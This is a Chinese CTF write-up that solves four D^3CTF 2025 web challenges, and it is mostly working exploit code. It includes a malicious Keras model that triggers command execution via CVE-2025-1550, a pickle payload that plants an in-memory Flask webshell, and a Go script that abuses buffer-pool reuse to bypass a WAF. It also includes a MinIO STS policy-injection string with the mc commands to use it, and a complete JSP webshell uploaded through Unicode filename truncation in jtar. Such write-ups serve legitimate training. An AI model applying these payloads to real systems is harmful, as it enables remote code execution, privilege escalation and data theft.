d3model

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import keras
from flask import Flask, request, jsonify
import os


def is_valid_model(modelname):
try:
keras.models.load_model(modelname)
except:
return False
return True

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return open('index.html').read()


@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return jsonify({'error': 'No file part'}), 400

file = request.files['file']

if file.filename == '':
return jsonify({'error': 'No selected file'}), 400

MAX_FILE_SIZE = 50 * 1024 * 1024 # 50MB
file.seek(0, os.SEEK_END)
file_size = file.tell()
file.seek(0)

if file_size > MAX_FILE_SIZE:
return jsonify({'error': 'File size exceeds 50MB limit'}), 400

filepath = os.path.join('./', 'test.keras')
if os.path.exists(filepath):
os.remove(filepath)
file.save(filepath)

if is_valid_model(filepath):
return jsonify({'message': 'Model is valid'}), 200
else:
return jsonify({'error': 'Invalid model file'}), 400

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

漏洞点显然出现在keras.models.load_model(modelname)
搜到这篇文章inside-cve-2025-1550-remote-code-execution-via-keras-models,参考着打,经测试发现容器不出网,考虑覆盖index.html

exp1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np
import os

model_name="model.keras"

x_train = np.random.rand(100, 28*28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28*28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name,"r") as f:
config=json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"]="keras.models"
config["config"]["layers"][0]["class_name"]="Model"
config["config"]["layers"][0]["config"]={
"name":"mvlttt",
"layers":[
{
"name":"mvlttt",
"class_name":"function",
"config":"Popen",
"module": "subprocess",
"inbound_nodes":[{"args":[["sh","-c","env>/app/index.html"]],"kwargs":{"bufsize":-1}}]
}],
"input_layers":[["mvlttt", 0, 0]],
"output_layers":[["mvlttt", 0, 0]]
}

with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}",model_name)


with zipfile.ZipFile(model_name,"a") as zf:
zf.writestr("config.json",json.dumps(config))

print("[+] Malicious model ready")

另一种方法,用pickle反序列化打内存马,通过/xing?cmd=ls执行命令即可

exp2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import pickle
import zipfile
import json
import os

payload = """
[ __import__('time').sleep(3) for flask in [__import__("flask")] for app in __import__("gc").get_objects() if type(app) == flask.Flask for jinja_globals in [app.jinja_env.globals] for xing in [ lambda : __import__('os').popen(jinja_globals["request"].args.get("cmd", "")).read() ] if [ app.__dict__.update({'_got_first_request':False}), app.add_url_rule("/xing", endpoint="xing", view_func=xing) ] ]
"""

class MaliciousPickle:
def __reduce__(self):
return (eval, (payload,))


mal = pickle.dumps(MaliciousPickle())
config = {
"class_name": "InputLayer",
"config": {"batch_shape": [], "dtype": "int64", "name": "encoder_inputs"},
"inbound_nodes": [],
"module": "keras.layers",
"name": "input_layer",
}

with open("config.json", "w") as f:
json.dump(config, f, indent=2)

with open("model.weights.npz", "wb") as f:
f.write(mal)

with zipfile.ZipFile("model.keras", "w") as zipf:
zipf.write("model.weights.npz")
zipf.write("config.json")

os.remove('model.weights.npz')
os.remove('config.json')

tidy quic

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
package main

import (
"bytes"
"errors"
"github.com/libp2p/go-buffer-pool"
"github.com/quic-go/quic-go/http3"
"io"
"log"
"net/http"
"os"
)

var p pool.BufferPool
var ErrWAF = errors.New("WAF")

func main() {
go func() {
err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
go func() {
err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
select {}
}

type mux struct {
}

func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodGet {
_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))
return
}
if r.Method != http.MethodPost {
w.WriteHeader(400)
return
}

var buf []byte
length := int(r.ContentLength)
if length == -1 {
var err error
buf, err = io.ReadAll(textInterrupterWrap(r.Body))
if err != nil {
if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
}
return
}
} else {
buf = p.Get(length)
defer p.Put(buf)
rd := textInterrupterWrap(r.Body)
i := 0
for {
n, err := rd.Read(buf[i:])
if err != nil {
if errors.Is(err, io.EOF) {
break
} else if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
return
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
return
}
}
i += n
}
}
if !bytes.HasPrefix(buf, []byte("I want")) {
_, _ = w.Write([]byte("Sorry I'm not clear what you want."))
return
}
item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
if bytes.Equal(item, []byte("flag")) {
_, _ = w.Write([]byte(os.Getenv("FLAG")))
} else {
_, _ = w.Write(item)
}
}

type wrap struct {
io.ReadCloser
ban []byte
idx int
}

func (w *wrap) Read(p []byte) (int, error) {
n, err := w.ReadCloser.Read(p)
if err != nil && !errors.Is(err, io.EOF) {
return n, err
}
for i := 0; i < n; i++ {
if p[i] == w.ban[w.idx] {
w.idx++
if w.idx == len(w.ban) {
return n, ErrWAF
}
} else {
w.idx = 0
}
}
return n, err
}

func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
return &wrap{
rc, []byte("flag"), 0,
}
}

源码分析(by DeepseekR1):
GET 请求:返回固定字符串 “Hello D^3CTF 2025,I’m tidy quic in web.”。
非 POST 请求:返回 400 错误。
POST 请求:
读取请求体(r.Body),通过 textInterrupterWrap 包装。
如果 Content-Length 未指定(值为 -1),使用 io.ReadAll 读取整个请求体。
如果 Content-Length 指定,使用缓冲池 p 分配缓冲区,并分块读取直到填满长度或 EOF。
在读取过程中,应用 WAF(Web 应用防火墙)检测:如果请求体中出现连续字节序列 “flag”,返回 400 错误和 “WAF”。
读取完成后,检查请求体是否以 “I want” 开头。如果不是,返回错误消息。
移除 “I want” 前缀和空白字符,得到 item。
如果 item 等于 “flag”,返回环境变量 FLAG 的值;否则,返回 item。

缓冲池 (pool.BufferPool):
全局变量 p 用于管理缓冲区。
当 Content-Length 指定时,从池中获取缓冲区(p.Get(length)),读取完成后放回池中(defer p.Put(buf))。
缓冲区未初始化或清除,可能包含旧数据。

漏洞分析
漏洞存在于缓冲池的使用和请求体处理逻辑中:
缓冲池未清除旧数据:
当 Content-Length 指定时,从池中获取的缓冲区可能包含之前请求的残留数据。
如果请求体长度小于 Content-Length,缓冲区未被完全覆盖,残留数据保留。
业务逻辑与 WAF 的差异:
WAF 扫描整个请求体,检测任何位置的连续 “flag” 序列。
业务逻辑只检查移除 “I want” 前缀和空白后的 item 是否为 “flag”。
通过控制缓冲区的残留数据,可使 item 为 “flag”,而请求体中不出现 “flag”,从而绕过 WAF。

攻击思路;
1:污染缓冲区池
• 发送包含”flag”的数据触发WAF
• 虽然请求失败,但污染的缓冲区被返回池中
• 数据布局:”ABCDEF flag “ (20字节)

2:污染缓冲区
• 发送”I want”(6字节),Content-Length=20
• 从池中获取被污染的20字节缓冲区
• 只覆盖前6字节,后14字节保持污染状态

攻击流程:

  1. 构造污染数据:”ABCDEF flag “ (20字节)
    ├─ [0-5]:”ABCDEF” (准备拿来给I want覆盖的6字节)
    ├─ [6-9]:” “ (4个空格)
    ├─ [10-13]:”flag”
    └─ [14-19]:” “ (6个空格)
  2. 发送污染请求: Content-Length=20
    └─ 结果: WAF触发,但缓冲区被污染并返回池中
  3. 立即发送利用请求:”I want” + Content-Length=20
    ├─ 从池中获取被污染的20字节缓冲区
    ├─ 只覆盖前6字节”I want”
    └─ 后14字节保持污染状态
  4. 服务器处理:
    ├─ HasPrefix(“I want flag “,”I want”)
    ├─ TrimPrefix → “ flag “
    ├─ TrimSpace → “flag”
    └─ Equal(“flag”,”flag”) FLAG

exp.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package main

import (
"bytes"
"crypto/tls"
"fmt"
"io"
"net/http"
"time"
"github.com/quic-go/quic-go/http3"
)

func main() {
client := &http.Client{
Transport: &http3.RoundTripper{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
Timeout: 15 * time.Second,
}

target := "https://35.241.98.126:30345"

// 污染缓冲区
// 构造 20 字节数据:"ABCDEF flag "
data1 := make([]byte, 20)
copy(data1[0:6], "ABCDEF")
copy(data1[6:10], " ")
copy(data1[10:14], "flag")
copy(data1[14:], " ")

req1, err := http.NewRequest("POST", target, bytes.NewReader(data1))
if err != nil {
panic(err)
}
req1.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req1.ContentLength = 20

// 污染缓冲区
resp1, err := client.Do(req1)
if err != nil {
panic(err)
}
resp1.Body.Close()

time.Sleep(100 * time.Millisecond)

// 发送 "I want" 复用被污染的缓冲区覆盖ABCDEF
// 就变成了:"I want flag "
data2 := []byte("I want")
req2, err := http.NewRequest("POST", target, bytes.NewReader(data2))
if err != nil {
panic(err)
}
req2.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req2.ContentLength = 20 // 和第一个请求相同的ContentLength

resp2, err := client.Do(req2)
if err != nil {
panic(err)
}

body, err := io.ReadAll(resp2.Body)
if err != nil {
panic(err)
}
resp2.Body.Close()

fmt.Printf("%s", body)
}

d3invitation

题目提供了 web 服务和 minio 的 api 接口,这个 web 服务可以通过上传的图片和输入的 id 生成一个邀请函。
总结一下工作流程:

  1. 生成 STS 临时凭证
  2. 使用这个 STS 临时凭证上传图片
  3. 生成邀请函时,使用这个 STS 临时凭证读取图片

在生成 STS 临时凭证时,我们注意到返回的 session_token 是一个 jwt

1
{"access_key_id":"KDDGTK60AE636NJNK9SY","secret_access_key":"4envCtekrJGaHMOwBOxC3wML290DHNtK5LdHGH7j","session_token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJLRERHVEs2MEFFNjM2TkpOSzlTWSIsImV4cCI6MTc0OTE5ODY1MSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2TVM1d2JtY2lYWDFkZlE9PSJ9.bHpJkgKNAWOqVfzooO2EjvUb-CkLgdACr9VZjM1rDbG5_brWojsijjb8jLS7Hu1_i3sQHThWFgdmDf9tmuYMIQ"}

jwt 解码后可以看到其中存储了 sessionPolicy,是一串经过 base64 编码的数据

1
2
3
4
5
6
{
"accessKey": "RVD15RNRKKX49KOY8US9",
"exp": 1749198529,
"parent": "B9M320QXHD38WUR2MIY3",
"sessionPolicy": "eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vMS5wbmciXX1dfQ=="
}

再对 sessionPolicy 解码后,我们会发现这是生成 STS 临时凭证时使用的 policy,并且仔细观察可以发现这个 policy 应该是依据上传图片的文件名 object_name 动态生成的

1
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/1.png"]}]}

题目没有进行任何过滤,我们可以尝试构造一个特殊的 object_name 对 policy 进行注入,拿到一个对 MinIO 拥有所有权限的 STS 临时凭证

控制object_name为

1
*"]},{"Effect":"Allow","Action":["s3:*"],"Resource":["arn:aws:s3:::*

则得到

1
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/*"]},{"Effect":"Allow","Action":["s3:*"],"Resource":["arn:aws:s3:::*"]}]}

接下来使用这个 STS 临时凭证访问 MinIO 的 api 接口即可拿到 flag,以使用mc进行访问为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /api/genSTSCreds HTTP/1.1
Host: 35.241.98.126:30519
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://35.241.98.126:30519/
Content-Type: application/json
Content-Length: 23
Origin: http://35.241.98.126:30519
Connection: close
Priority: u=0

{"object_name": "*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"}

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Fri, 06 Jun 2025 07:44:04 GMT
Content-Length: 758
Connection: close

{"access_key_id":"9PEANVIJMFGJM112S529","secret_access_key":"TlofOVdmFBPYCVD9OX2hjTkoYIQAUV9p+eWz0oLL","session_token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI5UEVBTlZJSk1GR0pNMTEyUzUyOSIsImV4cCI6MTc0OTE5OTQ0NCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.ZT1A0MZfkcN5aFXKDDGkFc_vcFBPRwseP_iap2mF9zxtpPZ-USqXUWWNKuInk1nX3XnumgsJpnTdQ_eniSsSWA"}

解jwt
{
"accessKey": "9PEANVIJMFGJM112S529",
"exp": 1749199444,
"parent": "B9M320QXHD38WUR2MIY3",
"sessionPolicy": "eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vKiJdfSx7IkVmZmVjdCI6IkFsbG93IiwiQWN0aW9uIjpbInMzOioiXSwiUmVzb3VyY2UiOlsiYXJuOmF3czpzMzo6OioiXX1dfQ=="
}

解base64
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/*"]},{"Effect":"Allow","Action":["s3:*"],"Resource":["arn:aws:s3:::*"]}]}
1
2
3
4
5
6
7
8
9
10
export MC_HOST_<ALIAS>="http://<ACCESS_KEY>:<SECRET_KEY>:<SESSION_TOKEN>@<HOST>:<PORT>"

export MC_HOST_d3ctf="http://9PEANVIJMFGJM112S529:TlofOVdmFBPYCVD9OX2hjTkoYIQAUV9p+eWz0oLL:eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI5UEVBTlZJSk1GR0pNMTEyUzUyOSIsImV4cCI6MTc0OTE5OTQ0NCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.ZT1A0MZfkcN5aFXKDDGkFc_vcFBPRwseP_iap2mF9zxtpPZ-USqXUWWNKuInk1nX3XnumgsJpnTdQ_eniSsSWA@35.241.98.126:32559"

windows用下面的命令:
set MC_HOST_d3ctf=http://9PEANVIJMFGJM112S529:TlofOVdmFBPYCVD9OX2hjTkoYIQAUV9p+eWz0oLL:eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI5UEVBTlZJSk1GR0pNMTEyUzUyOSIsImV4cCI6MTc0OTE5OTQ0NCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.ZT1A0MZfkcN5aFXKDDGkFc_vcFBPRwseP_iap2mF9zxtpPZ-USqXUWWNKuInk1nX3XnumgsJpnTdQ_eniSsSWA@35.241.98.126:32559

mc ls d3ctf
mc ls d3ctf/flag
mc cat d3ctf/flag/flag

d3jtar

用IDEA反编译分析源码

MainController.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package d3.example.controller;

import d3.example.utils.BackUp;
import d3.example.utils.Upload;
import java.io.File;
import java.io.IOException;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Objects;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.ModelAndView;

@Controller
public class MainController {
@GetMapping({"/view"})
public ModelAndView view(@RequestParam String page, HttpServletRequest request) {
if (page.matches("^[a-zA-Z0-9-]+$")) {
String viewPath = "/WEB-INF/views/" + page + ".jsp";
String realPath = request.getServletContext().getRealPath(viewPath);
File jspFile = new File(realPath);
if (realPath != null && jspFile.exists()) {
return new ModelAndView(page);
}
}

ModelAndView mav = new ModelAndView("Error");
mav.addObject("message", "The file don't exist.");
return mav;
}

@PostMapping({"/Upload"})
@ResponseBody
public String UploadController(@RequestParam MultipartFile file) {
try {
String uploadDir = "webapps/ROOT/WEB-INF/views";
Set<String> blackList = new HashSet(Arrays.asList("jsp", "jspx", "jspf", "jspa", "jsw", "jsv", "jtml", "jhtml", "sh", "xml", "war", "jar"));
String filePath = Upload.secureUpload(file, uploadDir, blackList);
return "Upload Success: " + filePath;
} catch (Upload.UploadException e) {
return "The file is forbidden: " + e;
}
}

@PostMapping({"/BackUp"})
@ResponseBody
public String BackUpController(@RequestParam String op) {
if (Objects.equals(op, "tar")) {
try {
BackUp.tarDirectory(Paths.get("backup.tar"), Paths.get("webapps/ROOT/WEB-INF/views"));
return "Success !";
} catch (IOException var3) {
return "Failure : tar Error";
}
} else if (Objects.equals(op, "untar")) {
try {
BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views"), Paths.get("backup.tar"));
return "Success !";
} catch (IOException var4) {
return "Failure : untar Error";
}
} else {
return "Failure : option Error";
}
}
}

代码功能分析(By DeepseekR1)

  1. /view 端点 (GET 请求)
    功能:动态加载 JSP 视图文件。
    流程:
    检查 page 参数是否符合正则 ^[a-zA-Z0-9-]+$(仅允许字母、数字、连字符)。
    构造路径 /WEB-INF/views/[page].jsp。
    验证文件是否存在:
    存在 → 返回对应 JSP 视图。
    不存在 → 返回错误视图(提示 “The file don’t exist.”)。
  2. /Upload 端点 (POST 请求)
    功能:上传文件到服务器指定目录。
    流程:
    设置上传目录为 webapps/ROOT/WEB-INF/views。
    定义扩展名黑名单(jsp, jspx, sh, xml, war, jar 等 12 种)。
    调用 Upload.secureUpload() 方法处理上传(具体实现在外部类)。
    返回上传结果:
    成功 → 返回文件路径。
    失败 → 返回错误信息(如文件类型被禁止)。
  3. /BackUp 端点 (POST 请求)
    功能:备份/恢复 WEB-INF/views 目录。
    流程:
    根据 op 参数执行操作:
    op=tar → 打包 views 目录到 backup.tar。
    op=untar → 解压 backup.tar 到 views 目录。
    返回操作结果(成功/失败)。

就三个路由,/view 的路由只能查看 jsp 文件,/Upload 路由有一些 blacklist, /BackUp 路由会使用 jtar 这个组件来对 webapps/ROOT/WEB-INF/views 目录下的文件打包成 tar 格式的压缩包或者解压

然后回到 /Upload 路由发现限制几乎不大可能能绕过,然后加上题目名,然后就去关注 jtar 的组件和源码,打包的流程为对每个 Entry 实例 (存放相关信息) 用 putNextEntry 方法将实例化好的 Entry 对象放进 Stream 中然后写进文件中,然后我们去跟进一下 writeEntryHeader 方法

1
2
3
4
5
6
7
public void putNextEntry(TarEntry entry) throws IOException {
this.closeCurrentEntry();
byte[] header = new byte[512];
entry.writeEntryHeader(header);
this.write(header);
this.currentEntry = entry;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public void writeEntryHeader(byte[] outbuf) {
int offset = 0;
offset = TarHeader.getNameBytes(this.header.name, outbuf, offset, 100);
offset = Octal.getOctalBytes((long)this.header.mode, outbuf, offset, 8);
offset = Octal.getOctalBytes((long)this.header.userId, outbuf, offset, 8);
offset = Octal.getOctalBytes((long)this.header.groupId, outbuf, offset, 8);
long size = this.header.size;
offset = Octal.getLongOctalBytes(size, outbuf, offset, 12);
offset = Octal.getLongOctalBytes(this.header.modTime, outbuf, offset, 12);
int csOffset = offset;

for(int c = 0; c < 8; ++c) {
outbuf[offset++] = 32;
}

outbuf[offset++] = this.header.linkFlag;
offset = TarHeader.getNameBytes(this.header.linkName, outbuf, offset, 100);
offset = TarHeader.getNameBytes(this.header.magic, outbuf, offset, 8);
offset = TarHeader.getNameBytes(this.header.userName, outbuf, offset, 32);
offset = TarHeader.getNameBytes(this.header.groupName, outbuf, offset, 32);
offset = Octal.getOctalBytes((long)this.header.devMajor, outbuf, offset, 8);
offset = Octal.getOctalBytes((long)this.header.devMinor, outbuf, offset, 8);

for(offset = TarHeader.getNameBytes(this.header.namePrefix, outbuf, offset, 155); offset < outbuf.length; outbuf[offset++] = 0) {
}

long checkSum = this.computeCheckSum(outbuf);
Octal.getCheckSumOctalBytes(checkSum, outbuf, csOffset, 8);
}

然后我们再去跟进一下 getNameBytes 方法 (这里会获取文件名的 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
public static int getNameBytes(StringBuffer name, byte[] buf, int offset, int length) {
int i;
for(i = 0; i < length && i < name.length(); ++i) {
buf[offset + i] = (byte)name.charAt(i);
}

while(i < length) {
buf[offset + i] = 0;
++i;
}

return offset + length;
}

然后就能找到漏洞点了,这里存在一个强制转换
buf[offset + i] = (byte)name.charAt(i); 这一行将 char 强制转换为 byte, 由于 Java 中 char 是 16 位的 Unicode 字符 (0-65535), 而 byte 是有符号的 8 位整数(-128-127), 强制转换时会截断高 8 位,仅保留低 8 位,所以这里我们只需要找到超出 byte 范围的 Unicode 值,它被转换成 byte 后就会变成指定的 ASCII 值 (如 char 的值为 257 时强制转换为 byte 就是为 1, 即 ascii 码为 1)

这里贴一下用来转换的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class ByteBypassFinder {
public static void main(String[] args) {
int targetByte = 106; // 'j'的ASCII码

System.out.println("Chars where (byte)char == " + targetByte + ":");
for (int i = 0; i <= Character.MAX_VALUE; i++) { // char范围0~65535
char c = (char) i;
byte b = (byte) c;
if (b == targetByte) {
System.out.printf("U+%04X '%c' (int %d) -> byte %d\n", i, c, i, b);
}
}
}
}

然后这里需要进行一轮 tar 和 untar 就是 backup 和 restore 就行了

jsp木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%@ page import="java.util.*, java.io.*" %>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
<h1>Webshell Active</h1>
<form method="GET">
<input type="text" name="cmd" size="80">
<input type="submit" value="Execute">
</form>

http://35.241.98.126:30750/view?page=e9f1d02a-0e7f-4e35-9d98-3b0ae7b23566&cmd=env